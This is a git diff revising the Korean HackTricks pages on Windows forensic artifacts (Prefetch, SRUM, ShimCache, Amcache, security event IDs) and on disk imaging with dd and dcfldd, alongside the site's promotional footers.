||||
### Windows 최근 앱
|
||||
|
||||
레지스트리 `NTUSER.DAT`의 경로 `Software\Microsoft\Current Version\Search\RecentApps`에서는 **실행된 애플리케이션**, **마지막 실행 시간**, **실행 횟수**에 대한 정보가 포함된 하위 키를 찾을 수 있습니다.
|
||||
레지스트리 `NTUSER.DAT`의 `Software\Microsoft\Current Version\Search\RecentApps` 경로에는 **실행된 응용 프로그램**, **마지막 실행 시간**, **실행 횟수**에 대한 정보가 포함된 하위 키가 있습니다.
|
||||
|
||||
### BAM (백그라운드 활동 관리자)
|
||||
### BAM (백그라운드 활동 모니터)
|
||||
|
||||
레지스트리 편집기로 `SYSTEM` 파일을 열고 경로 `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}`에서 각 사용자별로 **실행된 애플리케이션에 대한 정보** (경로에 있는 `{SID}`에 주목)와 **실행 시간**을 찾을 수 있습니다 (시간은 레지스트리의 데이터 값 내에 포함됨).
|
||||
레지스트리 편집기로 `SYSTEM` 파일을 열고 `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}` 경로에서 각 사용자가 실행한 **응용 프로그램에 대한 정보** 및 **실행 시간**을 찾을 수 있습니다(`{SID}`는 경로에 포함된 값입니다).
|
||||
|
||||
### Windows Prefetch
|
||||
|
||||
Prefetching은 사용자가 **가까운 미래에 액세스할 수 있는 콘텐츠를 표시하는 데 필요한 리소스를 은밀하게 가져오는** 기술로, 리소스에 빠르게 액세스할 수 있도록 합니다.
|
||||
Prefetching은 사용자가 **가까운 미래에 액세스할 수 있는 콘텐츠를 표시하는 데 필요한 리소스를 조용히 가져오는** 기술입니다.
|
||||
|
||||
Windows Prefetch는 실행된 프로그램의 **캐시를 생성**하여 더 빠르게 로드할 수 있도록 합니다. 이러한 캐시는 `C:\Windows\Prefetch` 경로에 `.pf` 파일로 생성됩니다. XP/VISTA/WIN7에서는 최대 128개의 파일, Win8/Win10에서는 최대 1024개의 파일로 제한됩니다.
|
||||
Windows Prefetch는 **빠르게 로드하기 위해 실행된 프로그램의 캐시**를 생성합니다. 이러한 캐시는 `C:\Windows\Prefetch` 경로에 `.pf` 파일로 생성됩니다. XP/VISTA/WIN7에서는 128개의 파일 제한이 있고 Win8/Win10에서는 1024개의 파일 제한이 있습니다.
|
||||
|
||||
파일 이름은 `{프로그램_이름}-{해시}.pf`로 생성됩니다 (해시는 실행 파일의 경로와 인수에 기반함). W10에서는 이러한 파일이 압축됩니다. 파일의 존재만으로도 **프로그램이 어느 시점에 실행**되었음을 나타냅니다.
|
||||
파일 이름은 `{프로그램_이름}-{해시}.pf`로 생성됩니다(해시는 실행 파일의 경로와 인수에 기반함). W10에서 이러한 파일은 압축됩니다. 파일의 존재만으로도 **프로그램이 어느 시점에 실행**되었음을 나타냅니다.
|
||||
|
||||
파일 `C:\Windows\Prefetch\Layout.ini`에는 **프리페치된 파일의 폴더 이름**이 포함되어 있습니다. 이 파일에는 **실행 횟수**, **실행 날짜** 및 프로그램에서 **열린 파일**에 대한 정보가 포함되어 있습니다.
|
||||
파일 `C:\Windows\Prefetch\Layout.ini`에는 **프리페치된 파일의 폴더 이름**, **실행 횟수에 대한 정보**, **실행 날짜** 및 **프로그램이 열어 둔 파일**에 대한 정보가 포함되어 있습니다.
|
||||
|
||||
이러한 파일을 검사하기 위해 [**PEcmd.exe**](https://github.com/EricZimmerman/PECmd) 도구를 사용할 수 있습니다.
|
||||
이러한 파일을 검사하려면 [**PEcmd.exe**](https://github.com/EricZimmerman/PECmd) 도구를 사용할 수 있습니다:
|
||||
```bash
|
||||
.\PECmd.exe -d C:\Users\student\Desktop\Prefetch --html "C:\Users\student\Desktop\out_folder"
|
||||
```
|
||||
![](<../../../.gitbook/assets/image (487).png>)
|
||||
|
||||
### 슈퍼프리페치
|
||||
### Superprefetch
|
||||
|
||||
**슈퍼프리페치**는 프리페치와 동일한 목표를 가지고 있으며, **프로그램을 더 빠르게 로드**하기 위해 다음에 로드될 것을 예측합니다. 그러나 프리페치 서비스를 대체하지는 않습니다.\
|
||||
**Superprefetch**는 prefetch와 동일한 목표를 가지고 있으며, **다음에 로드될 것을 예측하여 프로그램을 더 빨리 로드**합니다. 그러나 prefetch 서비스를 대체하지는 않습니다.\
|
||||
이 서비스는 `C:\Windows\Prefetch\Ag*.db`에 데이터베이스 파일을 생성합니다.
|
||||
|
||||
이 데이터베이스에서는 **프로그램의 이름**, **실행 횟수**, **열린 파일**, **접근한 볼륨**, **전체 경로**, **시간대** 및 **타임스탬프**를 찾을 수 있습니다.
|
||||
|
@ -319,40 +323,40 @@ Windows Prefetch는 실행된 프로그램의 **캐시를 생성**하여 더 빠
|
|||
|
||||
### SRUM
|
||||
|
||||
**시스템 리소스 사용 모니터**(SRUM)는 **프로세스가 사용하는 리소스**를 **모니터링**합니다. 이는 W8에서 등장하며, 데이터는 `C:\Windows\System32\sru\SRUDB.dat`에 위치한 ESE 데이터베이스에 저장됩니다.
|
||||
**시스템 리소스 사용 모니터**(SRUM)는 **프로세스가 사용한 리소스를 모니터링**합니다. W8에 등장하며, 데이터는 `C:\Windows\System32\sru\SRUDB.dat`에 위치한 ESE 데이터베이스에 저장됩니다.
|
||||
|
||||
다음과 같은 정보를 제공합니다:
|
||||
다음 정보를 제공합니다:
|
||||
|
||||
* AppID 및 경로
|
||||
* 프로세스를 실행한 사용자
|
||||
* 보낸 바이트
|
||||
* 받은 바이트
|
||||
* 네트워크 인터페이스
|
||||
* 연결 지속 시간
|
||||
* 프로세스 지속 시간
|
||||
* 연결 기간
|
||||
* 프로세스 기간
|
||||
|
||||
이 정보는 60분마다 업데이트됩니다.
|
||||
|
||||
이 파일에서 날짜를 얻으려면 [**srum\_dump**](https://github.com/MarkBaggett/srum-dump) 도구를 사용할 수 있습니다.
|
||||
이 파일에서 데이터를 얻으려면 [**srum\_dump**](https://github.com/MarkBaggett/srum-dump) 도구를 사용할 수 있습니다.
|
||||
```bash
|
||||
.\srum_dump.exe -i C:\Users\student\Desktop\SRUDB.dat -t SRUM_TEMPLATE.xlsx -o C:\Users\student\Desktop\srum
|
||||
```
|
||||
### AppCompatCache (ShimCache)
|
||||
|
||||
**AppCompatCache**(ShimCache)은 **Microsoft**이 개발한 **Application Compatibility Database**의 일부로, 응용 프로그램 호환성 문제를 해결하기 위해 사용됩니다. 이 시스템 구성 요소는 다음과 같은 파일 메타데이터의 여러 조각을 기록합니다:
|
||||
**AppCompatCache**(AppCompatCache), 또는 **ShimCache**(ShimCache)는 **Microsoft**에서 개발한 **Application Compatibility Database**의 일부를 형성하여 응용 프로그램 호환성 문제를 해결합니다. 이 시스템 구성 요소는 다음을 포함하는 다양한 파일 메타데이터를 기록합니다.
|
||||
|
||||
- 파일의 전체 경로
|
||||
- 파일의 크기
|
||||
- **$Standard\_Information** (SI) 아래의 마지막 수정 시간
|
||||
- **$Standard\_Information** (SI) 하위의 마지막 수정 시간
|
||||
- ShimCache의 마지막 업데이트 시간
|
||||
- 프로세스 실행 플래그
|
||||
|
||||
이러한 데이터는 운영 체제의 버전에 따라 레지스트리의 특정 위치에 저장됩니다:
|
||||
이러한 데이터는 운영 체제 버전에 따라 특정 위치의 레지스트리에 저장됩니다.
|
||||
|
||||
- XP의 경우, 데이터는 `SYSTEM\CurrentControlSet\Control\SessionManager\Appcompatibility\AppcompatCache`에 저장되며, 96개의 항목을 수용할 수 있습니다.
|
||||
- Server 2003 및 Windows 버전 2008, 2012, 2016, 7, 8 및 10의 경우, 저장 경로는 각각 512개 및 1024개의 항목을 수용할 수 있는 `SYSTEM\CurrentControlSet\Control\SessionManager\AppcompatCache\AppCompatCache`입니다.
|
||||
- XP의 경우, 데이터는 `SYSTEM\CurrentControlSet\Control\SessionManager\Appcompatibility\AppcompatCache`에 저장되며 96개의 항목을 수용합니다.
|
||||
- Server 2003 및 Windows 버전 2008, 2012, 2016, 7, 8 및 10의 경우, 저장 경로는 각각 512개 및 1024개의 항목을 수용하는 `SYSTEM\CurrentControlSet\Control\SessionManager\AppcompatCache\AppCompatCache`입니다.
|
||||
|
||||
저장된 정보를 파싱하기 위해 [**AppCompatCacheParser** 도구](https://github.com/EricZimmerman/AppCompatCacheParser)를 사용하는 것이 좋습니다.
|
||||
저장된 정보를 구문 분석하려면 [**AppCompatCacheParser** 도구](https://github.com/EricZimmerman/AppCompatCacheParser)를 사용하는 것이 좋습니다.
|
||||
|
||||
![](<../../../.gitbook/assets/image (488).png>)
|
||||
|
||||
|
@ -360,131 +364,133 @@ Windows Prefetch는 실행된 프로그램의 **캐시를 생성**하여 더 빠
|
|||
|
||||
**Amcache.hve** 파일은 시스템에서 실행된 응용 프로그램에 대한 세부 정보를 기록하는 레지스트리 하이브입니다. 일반적으로 `C:\Windows\AppCompat\Programas\Amcache.hve`에서 찾을 수 있습니다.
|
||||
|
||||
이 파일은 최근에 실행된 프로세스의 기록을 저장하며, 실행 파일의 경로와 SHA1 해시를 포함합니다. 이 정보는 시스템에서 응용 프로그램의 활동을 추적하는 데 매우 유용합니다.
|
||||
이 파일은 최근에 실행된 프로세스의 레코드를 저장하는 데 주목할 가치가 있으며, 실행 파일의 경로와 그들의 SHA1 해시를 포함합니다. 이 정보는 시스템에서 응용 프로그램의 활동을 추적하는 데 귀중합니다.
|
||||
|
||||
**Amcache.hve**에서 데이터를 추출하고 분석하기 위해 [**AmcacheParser**](https://github.com/EricZimmerman/AmcacheParser) 도구를 사용할 수 있습니다. 다음 명령은 **Amcache.hve** 파일의 내용을 파싱하여 결과를 CSV 형식으로 출력하는 예시입니다:
|
||||
**Amcache.hve**에서 데이터를 추출하고 분석하려면 [**AmcacheParser**](https://github.com/EricZimmerman/AmcacheParser) 도구를 사용할 수 있습니다. 다음 명령은 **Amcache.hve** 파일의 내용을 구문 분석하고 결과를 CSV 형식으로 출력하는 방법의 예시입니다:
|
||||
```bash
|
||||
AmcacheParser.exe -f C:\Users\genericUser\Desktop\Amcache.hve --csv C:\Users\genericUser\Desktop\outputFolder
|
||||
```
|
||||
생성된 CSV 파일 중에서 `Amcache_Unassociated file entries`는 연결되지 않은 파일 항목에 대한 풍부한 정보를 제공하기 때문에 특히 주목할 만합니다.
|
||||
생성된 CSV 파일 중 `Amcache_Unassociated file entries`는 연관되지 않은 파일 항목에 대한 풍부한 정보를 제공하기 때문에 특히 주목할 가치가 있습니다.
|
||||
|
||||
가장 흥미로운 CSV 파일은 `Amcache_Unassociated file entries`입니다.
|
||||
|
||||
### 최근 파일 캐시
|
||||
### RecentFileCache
|
||||
|
||||
이 아티팩트는 W7에서만 `C:\Windows\AppCompat\Programs\RecentFileCache.bcf`에 있으며 일부 이진 파일의 최근 실행에 대한 정보를 포함합니다.
|
||||
이 아티팩트는 `C:\Windows\AppCompat\Programs\RecentFileCache.bcf`에 있는 W7에서만 찾을 수 있으며 일부 이진 파일의 최근 실행에 대한 정보를 포함합니다.
|
||||
|
||||
파일을 구문 분석하기 위해 [**RecentFileCacheParse**](https://github.com/EricZimmerman/RecentFileCacheParser) 도구를 사용할 수 있습니다.
|
||||
파일을 구문 분석하려면 [**RecentFileCacheParse**](https://github.com/EricZimmerman/RecentFileCacheParser) 도구를 사용할 수 있습니다.
|
||||
|
||||
### 예약된 작업
|
||||
|
||||
작업은 `C:\Windows\Tasks` 또는 `C:\Windows\System32\Tasks`에서 추출하여 XML로 읽을 수 있습니다.
|
||||
`C:\Windows\Tasks` 또는 `C:\Windows\System32\Tasks`에서 추출하여 XML로 읽을 수 있습니다.
|
||||
|
||||
### 서비스
|
||||
|
||||
서비스는 레지스트리의 `SYSTEM\ControlSet001\Services`에 있습니다. 실행될 작업과 실행 시간을 확인할 수 있습니다.
|
||||
레지스트리에서 `SYSTEM\ControlSet001\Services` 아래에서 찾을 수 있습니다. 무엇이 실행될지와 언제 실행될지 확인할 수 있습니다.
|
||||
|
||||
### **Windows 스토어**
|
||||
### **Windows Store**
|
||||
|
||||
설치된 애플리케이션은 `\ProgramData\Microsoft\Windows\AppRepository\`에서 찾을 수 있습니다.\
|
||||
이 저장소에는 시스템에 설치된 각 애플리케이션에 대한 **로그**가 **`StateRepository-Machine.srd`** 데이터베이스 내에 있습니다.
|
||||
이 저장소에는 시스템에 설치된 각 애플리케이션에 대한 **로그**가 **`StateRepository-Machine.srd`** 데이터베이스 내부에 있습니다.
|
||||
|
||||
이 데이터베이스의 Application 테이블에서 "Application ID", "PackageNumber", "Display Name" 열을 찾을 수 있습니다. 이 열에는 사전 설치된 및 설치된 애플리케이션에 대한 정보가 있으며, 설치된 애플리케이션의 ID는 연속적이어야 합니다. 따라서 일부 애플리케이션이 제거되었는지 확인할 수 있습니다.
|
||||
이 데이터베이스의 Application 테이블에서 "Application ID", "PackageNumber", "Display Name" 열을 찾을 수 있습니다. 이 열에는 사전 설치된 및 설치된 애플리케이션에 대한 정보가 포함되어 있으며 설치된 애플리케이션의 ID가 연속적이어야 하는지 확인할 수 있습니다.
|
||||
|
||||
또한 레지스트리 경로 `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\`에서 **설치된 애플리케이션**을 찾을 수 있으며,\
|
||||
`Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\`에서 **제거된 애플리케이션**을 찾을 수 있습니다.
|
||||
또한 레지스트리 경로에서 **설치된 애플리케이션**을 찾을 수 있습니다: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\`\
|
||||
그리고 **설치 해제된 애플리케이션**은 다음에서 찾을 수 있습니다: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\`
|
||||
|
||||
## Windows 이벤트
|
||||
|
||||
Windows 이벤트에 나타나는 정보는 다음과 같습니다:
|
||||
Windows 이벤트 내에서 나타나는 정보는 다음과 같습니다:
|
||||
|
||||
* 발생한 사건
|
||||
* 무슨 일이 있었는가
|
||||
* 타임스탬프 (UTC + 0)
|
||||
* 관련된 사용자
|
||||
* 관련된 호스트 (호스트 이름, IP)
|
||||
* 액세스한 자산 (파일, 폴더, 프린터, 서비스)
|
||||
* 액세스된 에셋 (파일, 폴더, 프린터, 서비스)
|
||||
|
||||
로그는 Windows Vista 이전에는 `C:\Windows\System32\config`에 있었고, Windows Vista 이후에는 **XML 형식**으로 `C:\Windows\System32\winevt\Logs`에 있습니다. Windows Vista 이전에는 이벤트 로그가 이진 형식이었으며, Windows Vista 이후에는 **.evtx** 확장자를 사용합니다.
|
||||
로그는 Windows Vista 이전에는 `C:\Windows\System32\config`에 있었으며, Windows Vista 이후에는 `C:\Windows\System32\winevt\Logs`에 있습니다. Windows Vista 이전에는 이벤트 로그가 이진 형식이었고, 그 이후에는 **XML 형식**이며 **.evtx** 확장자를 사용합니다.
|
||||
|
||||
이벤트 파일의 위치는 SYSTEM 레지스트리의 **`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`**에 있습니다.
|
||||
이벤트 파일의 위치는 SYSTEM 레지스트리에서 **`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`**에서 찾을 수 있습니다.
|
||||
|
||||
Windows 이벤트 뷰어 (**`eventvwr.msc`**) 또는 [**Event Log Explorer**](https://eventlogxp.com) 또는 [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)와 같은 다른 도구를 사용하여 이벤트를 시각화할 수 있습니다.
|
||||
Windows 이벤트 뷰어 (**`eventvwr.msc`**) 또는 [**Event Log Explorer**](https://eventlogxp.com)와 같은 다른 도구로 시각화할 수 있습니다. **또는** [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)**.**
|
||||
|
||||
## Windows 보안 이벤트 로깅 이해하기
|
||||
## Windows 보안 이벤트 로깅 이해
|
||||
|
||||
보안 구성 파일인 `C:\Windows\System32\winevt\Security.evtx`에는 액세스 이벤트가 기록됩니다. 이 파일의 크기는 조정 가능하며, 용량이 가득 차면 이전 이벤트가 덮어씌워집니다. 기록된 이벤트에는 사용자 로그인 및 로그오프, 사용자 작업 및 보안 설정 변경, 파일, 폴더 및 공유 자산 액세스가 포함됩니다.
|
||||
보안 구성 파일에 기록된 액세스 이벤트는 `C:\Windows\System32\winevt\Security.evtx`에 있습니다. 이 파일의 크기는 조정 가능하며, 용량이 가득 차면 이전 이벤트가 덮어씌워집니다. 기록된 이벤트에는 사용자 로그인 및 로그오프, 사용자 작업, 보안 설정 변경, 파일, 폴더 및 공유 자산 액세스가 포함됩니다.
|
||||
|
||||
### 사용자 인증을 위한 주요 이벤트 ID:
|
||||
|
||||
- **EventID 4624**: 사용자 인증 성공을 나타냅니다.
|
||||
- **EventID 4625**: 인증 실패를 나타냅니다.
|
||||
- **EventID 4624**: 사용자가 성공적으로 인증됨을 나타냅니다.
|
||||
- **EventID 4625**: 인증 실패를 신호합니다.
|
||||
- **EventIDs 4634/4647**: 사용자 로그오프 이벤트를 나타냅니다.
|
||||
- **EventID 4672**: 관리 권한으로 로그인을 나타냅니다.
|
||||
|
||||
#### EventID 4634/4647의 하위 유형:
|
||||
#### EventID 4634/4647 내의 하위 유형:
|
||||
|
||||
- **Interactive (2)**: 직접 사용자 로그인
|
||||
- **Network (3)**: 공유 폴더 액세스
|
||||
- **Batch (4)**: 일괄 처리 프로세스 실행
|
||||
- **Service (5)**: 서비스 시작
|
||||
- **Proxy (6)**: 프록시 인증
|
||||
- **Unlock (7)**: 비밀번호로 화면 잠금 해제
|
||||
- **Network Cleartext (8)**: IIS에서의 평문 암호 전송
|
||||
- **New Credentials (9)**: 액세스에 대한 다른 자격 증명 사용
|
||||
- **Remote Interactive (10)**: 원격 데스크톱 또는 터미널 서비스 로그인
|
||||
- **Cache Interactive (11)**: 도메인 컨트롤러 연결 없이 캐시 자격 증명으로 로그인
|
||||
- **Cache Remote Interactive (12)**: 캐시 자격 증명으로 원격 로그인
|
||||
- **Cached Unlock (13)**: 캐시 자격 증명으로 잠금 해제
|
||||
- **Interactive (2)**: 직접 사용자 로그인.
|
||||
- **Network (3)**: 공유 폴더 액세스.
|
||||
- **Batch (4)**: 일괄 처리 프로세스 실행.
|
||||
- **Service (5)**: 서비스 시작.
|
||||
- **Proxy (6)**: 프록시 인증.
|
||||
- **Unlock (7)**: 비밀번호로 화면 잠금 해제.
|
||||
- **Network Cleartext (8)**: IIS에서의 평문 암호 전송.
|
||||
- **New Credentials (9)**: 액세스에 대한 다른 자격 증명 사용.
|
||||
- **Remote Interactive (10)**: 원격 데스크톱 또는 터미널 서비스 로그인.
|
||||
- **Cache Interactive (11)**: 도메인 컨트롤러 연락 없이 캐시된 자격 증명으로 로그인.
|
||||
- **Cache Remote Interactive (12)**: 캐시된 자격 증명으로 원격 로그인.
|
||||
- **Cached Unlock (13)**: 캐시된 자격 증명으로 잠금 해제.
|
||||
|
||||
#### EventID 4625의 상태 및 하위 상태 코드:
|
||||
|
||||
- **0xC0000064**: 사용자 이름이 존재하지 않음 - 사용자 이름 열거 공격을 나타낼 수 있음
|
||||
- **0xC000006A**: 올바른 사용자 이름이지만 잘못된 암호 - 암호 추측 또는 무차별 대입 공격 가능성
|
||||
- **0xC0000234**: 사용자 계정 잠금 - 다중 실패 로그인으로 인한 무차별 대입 공격 가능성
|
||||
- **0xC0000072**: 계정 비활성화 - 비활성화된 계정에 대한 무단 액세스 시도
|
||||
- **0xC000006F**: 허용된 시간 외에 로그인 - 설정된 로그인 시간 외에 액세스 시도, 무단 액세스의 가능성
|
||||
- **0xC0000070**: 작업 스테이션 제한 위반 - 허가되지 않은 위치에서 로그인 시도 가능성
|
||||
- **0xC0000193**: 계정 만료 - 만료된 사용자 계정으로의 액세스 시도
|
||||
- **0xC0000071**: 암호 만료 - 오래된 암호로의 로그인 시도
|
||||
- **0xC0000133**: 시간 동기화 문제 - 클라이언트와 서버 간의 큰 시간 차이는 티켓 전달과 같은 고급 공격의 가능성을 나타낼 수 있음
|
||||
- **0xC0000224**: 필수 암호 변경 필요 - 빈번한 필수 변경은 계정 보안을 불안정하게 만드는 시도일 수 있음
|
||||
- **0xC0000225**: 보안 문제가 아닌 시스템 버그를 나타냄
|
||||
- **0xC000015b**: 거부된 로그온 유형 - 사용자가 서비스 로그온을 실행하려고 시도하는 등의 무단 로그온 시도
|
||||
- **0xC0000064**: 사용자 이름이 존재하지 않음 - 사용자 이름 열거 공격을 나타낼 수 있습니다.
|
||||
- **0xC000006A**: 올바른 사용자 이름이지만 잘못된 암호 - 암호 추측 또는 무차별 대입 시도가 있을 수 있습니다.
|
||||
- **0xC0000234**: 사용자 계정 잠금 - 여러 번의 실패한 로그인을 따르는 무차별 대입 공격을 나타낼 수 있습니다.
|
||||
- **0xC0000072**: 계정 비활성화 - 비활성화된 계정에 대한 무단 액세스 시도가 있을 수 있습니다.
|
||||
- **0xC000006F**: 허용된 시간 외에 로그인 - 설정된 로그인 시간 외에 액세스 시도가 있을 수 있으며, 무단 액세스의 가능성이 있습니다.
|
||||
- **0xC0000070**: 워크스테이션 제한 위반 - 무단 위치에서 로그인 시도가 있을 수 있습니다.
|
||||
- **0xC0000193**: 계정 만료 - 만료된 사용자 계정으로의 액세스 시도가 있을 수 있습니다.
|
||||
- **0xC0000071**: 암호 만료 - 오래된 암호로의 로그인 시도가 있을 수 있습니다.
|
||||
- **0xC0000133**: 시간 동기화 문제 - 클라이언트와 서버 간의 큰 시간 차이는 티켓 전달과 같은 더 정교한 공격을 나타낼 수 있습니다.
|
||||
- **0xC0000224**: 필수 암호 변경 필요 - 빈번한 필수 변경은 계정 보안을 불안정하게 만들려는 시도를 나타낼 수 있습니다.
|
||||
- **0xC0000225**: 보안 문제가 아닌 시스템 버그를 나타냅니다.
|
||||
- **0xC000015b**: 거부된 로그온 유형 - 사용자가 서비스 로그온을 실행하려고 하는 것과 같은 무단 로그온 유형으로의 액세스 시도가 있을 수 있습니다.
|
||||
|
||||
#### EventID 4616:
|
||||
- **시간 변경**: 시스템 시간 변경, 사건 타임라인을 어렵게 만들 수 있음
|
||||
- **시간 변경**: 시스템 시간 수정, 이벤트 타임라인을 혼란스럽게 할 수 있습니다.
|
||||
|
||||
#### EventID 6005 및 6006:
|
||||
- **시스템 시작 및 종료**: EventID 6005는 시스템 시작을 나타내고, EventID 6006은 시스템 종료를 나타냅니다.
|
||||
- **시스템 시작 및 종료**: EventID 6005는 시스템 시작을 나타내고, EventID 6006은 시스템 종료를 표시합니다.
|
||||
|
||||
#### EventID 1102:
|
||||
- **로그 삭제**: 보안 로그가 지워지는 것은 종종 불법 활동을 숨기기 위한 신호입니다.
|
||||
- **로그 삭제**: 불법 활동을 숨기기 위한 보안 로그 삭제.
|
||||
|
||||
#### USB 장치 추적을 위한 EventID:
|
||||
- **20001 / 20003 / 10000**: USB 장치 처음 연결
|
||||
- **10100**: USB 드라이버 업데이트
|
||||
- **EventID 112**: USB 장치 삽입 시간
|
||||
|
||||
이러한 로그인 유형 및 자격 증명 덤프 기회를 시
|
||||
- **20001 / 20003 / 10000**: USB 장치 최초 연결.
|
||||
- **10100**: USB 드라이버 업데이트.
|
||||
- **EventID 112**: USB 장치 삽입 시간.
|
||||
#### 시스템 전원 이벤트
|
||||
|
||||
EventID 6005는 시스템 시작을 나타내며, EventID 6006은 종료를 표시합니다.
|
||||
EventID 6005은 시스템 시작을 나타내며, EventID 6006은 종료를 표시합니다.
|
||||
|
||||
#### 로그 삭제
|
||||
|
||||
보안 EventID 1102는 로그의 삭제를 나타내며, 이는 포렌식 분석에 있어서 중요한 이벤트입니다.
|
||||
보안 EventID 1102는 로그 삭제를 신호하는데, 이는 포렌식 분석에 중요한 이벤트입니다.
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary><strong>제로부터 영월까지 AWS 해킹 배우기</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**를** 팔로우하세요.
|
||||
* **HackTricks**와 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하여 여러분의 해킹 기법을 공유하세요.
|
||||
* **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks를 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**를 팔로우하세요.**
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,16 +2,20 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>을 통해 **제로부터 영웅이 되는 AWS 해킹을 배우세요**!</summary>
|
||||
|
||||
* **사이버 보안 회사**에서 일하시나요? **회사를 HackTricks에서 광고하고 싶으신가요**? 아니면 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인해보세요!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견해보세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter**에서 저를 **팔로우**하세요 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **[hacktricks repo](https://github.com/carlospolop/hacktricks)와 [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**에 PR을 제출하여 여러분의 해킹 기법을 공유해주세요.
|
||||
* **사이버 보안 회사**에서 일하시나요? **회사를 HackTricks에서 광고하고 싶으세요**? 혹은 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으세요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFT 컬렉션**](https://opensea.io/collection/the-peass-family)
|
||||
* [**공식 PEASS & HackTricks 스왹**](https://peass.creator-spring.com)을 받으세요
|
||||
* **[💬](https://emojipedia.org/speech-balloon/) Discord 그룹**에 **가입**하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**을 팔로우**하세요.
|
||||
* **해킹 트릭을 공유하고 싶으시다면 [hacktricks repo](https://github.com/carlospolop/hacktricks) 및 [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**로 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
## 획득
|
||||
|
||||
### DD
|
||||
|
@ -20,52 +24,20 @@
|
|||
dd if=/dev/sdb of=disk.img
|
||||
```
|
||||
### dcfldd
|
||||
|
||||
dcfldd는 Linux 환경에서 사용되는 이미지 획득 도구입니다. 기본적으로 dd 명령어와 유사하지만, 추가적인 기능을 제공합니다. dcfldd는 진행 상황을 보고하고, 중단된 경우 재개할 수 있으며, 입력 및 출력 파일의 해시 값을 계산할 수 있습니다. 또한, dcfldd는 이미지 획득 시 데이터 무결성을 검사하기 위해 사용되는 해시 알고리즘을 지원합니다.
|
||||
|
||||
#### 사용법
|
||||
|
||||
dcfldd를 사용하여 이미지를 획득하려면 다음과 같은 명령어를 사용합니다:
|
||||
|
||||
```
|
||||
dcfldd if=/dev/sda of=image.dd
|
||||
```
|
||||
|
||||
위의 예시에서 `/dev/sda`는 이미지를 획득할 디스크 또는 파티션의 경로를 나타냅니다. `image.dd`는 생성될 이미지 파일의 이름입니다.
|
||||
|
||||
